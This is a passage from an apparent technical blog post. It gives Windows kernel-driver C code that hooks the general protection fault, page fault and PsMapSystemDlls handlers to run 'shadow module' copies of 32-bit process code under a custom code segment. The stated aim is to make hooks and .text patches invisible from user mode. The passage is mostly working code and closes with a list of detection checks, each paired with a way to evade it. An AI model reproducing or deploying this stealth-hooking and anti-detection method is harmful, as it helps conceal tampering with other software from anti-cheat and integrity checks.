 23 *Target = *( uint32_t* ) ( s.disp.disp32 );
 24 else if ( s.modrm_mod == 3 )
 25 *Target = ResolveRegisterById( Frame, s.modrm_rm );
 26 else if ( s.modrm_mod == 2 || s.modrm_mod == 1 )
 27 *Target = *( uint32_t* ) ( ResolveRegisterById( Frame, s.modrm_rm ) + s.disp.disp32 );
 28 }
 29 return TRUE;
 30 }
 31 else if ( Instruction[ 0 ] == 0xE8 )
 32 {
 33 *Target = Frame->Rip + s.imm.imm32 + 5;
 34 return TRUE;
 35 }
 36 return FALSE;
 37}
 38
 39static BOOLEAN NTAPI HkOnGpf( ITRAP_FRAME* TrapFrame )
 40{
 41 if ( TrapFrame->Cs == SHADOW_HOOK_SEG )
 42 {
 43 // CALL | JMP | RET to the outside of segment
 44 __swapgs();
 45 SHADOW_MODULE_ENTRY Sme = GetShadowModuleFromRip( PsGetCurrentProcessId(), TrapFrame->Rip );
 46
 47 if ( Sme.ModuleReal )
 48 {
 49 uint64_t RspBackup = TrapFrame->Rsp;
 50 _enable();
 51 //Log( "Handling call to the outside of shadow module @ %llx\n", TrapFrame->Rip );
 52 __try
 53 {
 54 uint32_t Destination = 0;
 55 uint8_t InstructionSize = 0;
 56 if ( ResolveCall( TrapFrame, TrapFrame->Rip - Sme.ModuleReal + Sme.ModuleShadow, &Destination, &InstructionSize ) )
 57 {
 58 uint32_t IsPageMapped = FALSE;
 59
 60 KIRQL Irql = RsAcquireSpinLockRaiseToDpc( &Rs_ProcessRecordSpinLock );
 61 DWORD Pid = PsGetCurrentProcessId();
 62 if ( Rs_ProcessRecordsMaxPid > Pid && Rs_ProcessRecords[ Pid ] )
 63 {
 64 for ( int i = 0; i < ARRAYSIZE( Rs_ProcessRecords[ Pid ]->SpoofedProtect ); i++ )
 65 {
 66 if ( !Rs_ProcessRecords[ Pid ]->SpoofedProtect[ i ].PageBase )
 67 break;
 68 if ( ( Rs_ProcessRecords[ Pid ]->SpoofedProtect[ i ].PageBase & ( ~0xFFF ) ) == ( TrapFrame->Rip & ( ~0xFFF ) ) )
 69 {
 70 IsPageMapped = TRUE;
 71 break;
 72 }
 73 }
 74 }
 75 RsReleaseSpinLock( &Rs_ProcessRecordSpinLock, Irql );
 76
 77 TrapFrame->Rsp -= 0x4;
 78 *( uint32_t* ) TrapFrame->Rsp =
 79 IsPageMapped
 80 ? ( TrapFrame->Rip + InstructionSize - Sme.ModuleReal + Sme.ModuleShadow )
 81 : ( TrapFrame->Rip + InstructionSize );
 82 TrapFrame->Rip = Destination;
 83 TrapFrame->Cs = WOW64_SEG;
 84 //Log( " --> %llx (%d)\n", TrapFrame->Rip, IsPageMapped );
 85
 86 _disable();
 87 __swapgs();
 88 return TRUE;
 89 }
 90 }
 91 __except ( 1 )
 92 {
 93 }
 94 _disable();
 95 __swapgs();
 96 TrapFrame->Rsp = RspBackup;
 97 TrapFrame->Rip -= Sme.ModuleReal;
 98   TrapFrame->Rip += Sme.ModuleShadow;
 99 TrapFrame->Cs = WOW64_SEG;
100 return TRUE;
101 }
102 else
103 {
104 // You are fucked.
105 }
106 __swapgs();
107 }
108 return FALSE;
109}

Now we have the second problem: CALL 0x333333. The problem with this one is that this is a perfectly valid operation no matter what we do as it technically is within CS boundaries (as module base != 0x0), just not shadow module boundaries; so the processor won’t help us here.

To solve this problem we can simply reserve the virtual memory below the lower boundary of the module, before the DLLs required by the target is loaded, by hooking PsMapSystemDlls like so:

 1static NTSTATUS NTAPI HkPsMapSystemDlls( PEPROCESS Process, BOOLEAN UseLargePages )
 2{
 3 USING_SYMBOL( ZwAllocateVirtualMemory );
 4 fnNtAllocateVirtualMemory ZwAllocateVirtualMemory = GET_SYMBOL( ZwAllocateVirtualMemory );
 5
 6 KAPC_STATE Apc;
 7 KeStackAttachProcess( Process, &Apc );
 8
 9 MEMORY_BASIC_INFORMATION Mbi = { 0 };
10
11 while ( 1 )
12 {
13 NTSTATUS Status = VvQueryVirtualMemory
14 (
15 NtCurrentProcess(),
16 ( PUCHAR ) Mbi.BaseAddress + Mbi.RegionSize,
17 MemoryBasicInformation,
18 &Mbi,
19 sizeof( Mbi ),
20 0
21 );
22
23 if ( Status )
24 {
25 break;
26 }
27 else
28 {
29 struct
30 {
31 UNICODE_STRING Str;
32 wchar_t Buffer[ 1024 ];
33 } Buffer;
34 RtlZeroMemory( &Buffer, sizeof( Buffer ) );
35 VvQueryVirtualMemory( NtCurrentProcess(), Mbi.BaseAddress, 2ull, &Buffer, sizeof( Buffer ), 0ull );
36
37 if ( Buffer.Str.Buffer )
38 {
39 if ( wcsstr( Buffer.Str.Buffer, L"<process name for simplicity>" ) )
40 {
41 Log( "<process name> found @ %llx [0x%x bytes] (%ls)\n", Mbi.BaseAddress, Mbi.RegionSize, Buffer.Str.Buffer );
42 Log( "Wasting %d MB...!\n", ( ( uint64_t ) Mbi.BaseAddress ) / 1024 / 1024 );
43 for ( PUCHAR Page = 0x10000; Page < ( (PUCHAR)Mbi.BaseAddress - 0x20000 ); Page += 0x1000 )
44 {
45 PVOID Base = Page;
46 SIZE_T Size = ( uint64_t ) Mbi.BaseAddress - ( uint64_t ) Page - 0x20000;
47 if ( ZwAllocateVirtualMemory( NtCurrentProcess(), &Base, 0ull, &Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) == 0 )
48 {
49 Log( "Allocated %llx -> %llx\n", Page, Page + Size );
50 break;
51 }
52 }
53 break;
54 }
55 }
56
57 }
58 }
59
60 KeUnstackDetachProcess( &Apc );
61
62 return ( ( fnPsMapSystemDlls ) PsMapSystemDllsHook->OriginalBytes ) ( Process, UseLargePages );
63}

EPROCESS is barely set-up at this stage and we cannot open a handle to the process so we have to use KeStackAttachProcess and NtCurrentProcess(). Simply search for the process base using NtQueryVirtualMemory & MemorySectionName, then try allocating the memory below it.

And voila, problem solved! Although this may sound like we will be wasting a lot of memory, I haven’t seen Windows mapping a 32-bit process above the 30 MB mark.

Now that we have our shadow module set, the only thing left is to redirect the control flow to our shadow module when needed, which we can achieve by setting the xd flag on the original page (or calling NtProtectVirtualMemory and spoofing the protection from NtQueryVirtualMemory). We will need to handle paged out memory (on execution) by ourselves, but apart from that our page fault hook will be relatively simple:

 1static BOOLEAN NTAPI HkOnPageFault( ITRAP_FRAME* TrapFrame )
 2{
 3 uint64_t FaultyPtr = __readcr2();
 4
 5 if ( TrapFrame->Cs == WOW64_SEG ) // Wow64 NX
 6 {
 7 if ( TrapFrame->ExceptionCode & ( 1 << 4 ) && // Caused by instruction fetch
 8 TrapFrame->ExceptionCode & ( 1 << 0 ) ) // Page is present
 9 {
10 if ( TrapFrame->Rip == FaultyPtr )
11 {
12 __swapgs();
13 SHADOW_MODULE_ENTRY Sme = GetShadowModuleFromRip( PsGetCurrentProcessId(), TrapFrame->Rip );
14 // Switch to fake CS
15 if ( Sme.ModuleReal )
16 {
17 Log( "Handling call to remapped page of module @ %llx\n", TrapFrame->Rip );
18 TrapFrame->Cs = SHADOW_HOOK_SEG;
19 __swapgs();
20 return TRUE;
21 }
22 __swapgs();
23 }
24 else if ( FaultyPtr - TrapFrame->Rip < 15 )
25 {
26 __swapgs();
27 SHADOW_MODULE_ENTRY Sme = GetShadowModuleFromRip( PsGetCurrentProcessId(), TrapFrame->Rip );
28 if ( Sme.ModuleReal )
29 {
30 Log( "Fixed half instruction failure! %llx %llx\n", FaultyPtr, TrapFrame->Rip );
31 PUCHAR From = TrapFrame->Rip;
32 PUCHAR To = TrapFrame->Rip - Sme.ModuleReal + Sme.ModuleShadow;
33 SIZE_T Size = FaultyPtr - TrapFrame->Rip;
34 _enable();
35 memcpy( To, From, Size );
36 _disable();
37 TrapFrame->Cs = SHADOW_HOOK_SEG;
38 __swapgs();
39 return TRUE;
40 }
41 __swapgs();
42 }
43 }
44 }
45 else if ( TrapFrame->Cs == SHADOW_HOOK_SEG )
46 {
47 if ( TrapFrame->ExceptionCode & ( 1 << 4 ) && // Caused by instruction fetch
48 !( TrapFrame->ExceptionCode & ( 1 << 0 ) ) ) // Page is not present
49 {
50 // Page is not present
51
52 __swapgs();
53 _enable();
54
55 SHADOW_MODULE_ENTRY Sme = GetShadowModuleFromRip( PsGetCurrentProcessId(), FaultyPtr );
56 if ( Sme.ModuleReal )
57 {
58 //Log( "Handling paged out memory (%llx)\n", FaultyPtr );
59
60 PUCHAR FaultyAdr = FaultyPtr - Sme.ModuleReal + Sme.ModuleShadow;
61 __try
62 {
63 volatile uint64_t volatile PageIn[ 1 ];
64 memcpy( PageIn, ( volatile UCHAR volatile * ) FaultyAdr, 8 );
65 }
66 __except ( 1 )
67 {
68 }
69 _disable();
70 __swapgs();
71
72 return TRUE;
73 }
74
75 _disable();
76 __swapgs();
77
78 return FALSE;
79 }
80 else
81 {
82 // Real exception
83 TrapFrame->Cs = WOW64_SEG; // Windows doesnt handle it otherwise...
84 }
85 }
86 return FALSE;
87}

Now you can detour the shadow module with jmp 0x23:Trampoline and return back with jmp 0xAA:RetPtr or change the instructions as you wish. There’s absolutely no difference except the fact that you need to make the original page no-execute.

There we go, hooks/.text modifications that are invisible from user mode when done correctly, without using any hypervisors. We can also use this for other cool things as I mentioned before which I will be talking about in another post.

Potential detection vectors:

They can check CS, either with mov ax, cs or call far ; both can be avoided as you only expose the value of CS to the pages you “map” by settings the xd flag so you can read the code to see if those exist
They can try jumping to their own code with different values of CS and see if it generates an exception, which you can avoid by setting up the segment when it’s needed as we get a notification both when we are exiting the shadow section and entering the shadow section.
They can read from cs:[0xABCD] directly, which you can avoid by not making your CS value static and following the tip above.
They can write to the original page and check if the execution matches, which you can avoid by making the page no-write, catching the exception from kernel, virtualizing the instruction to apply to both pages, incrementing IP and then continuing execution.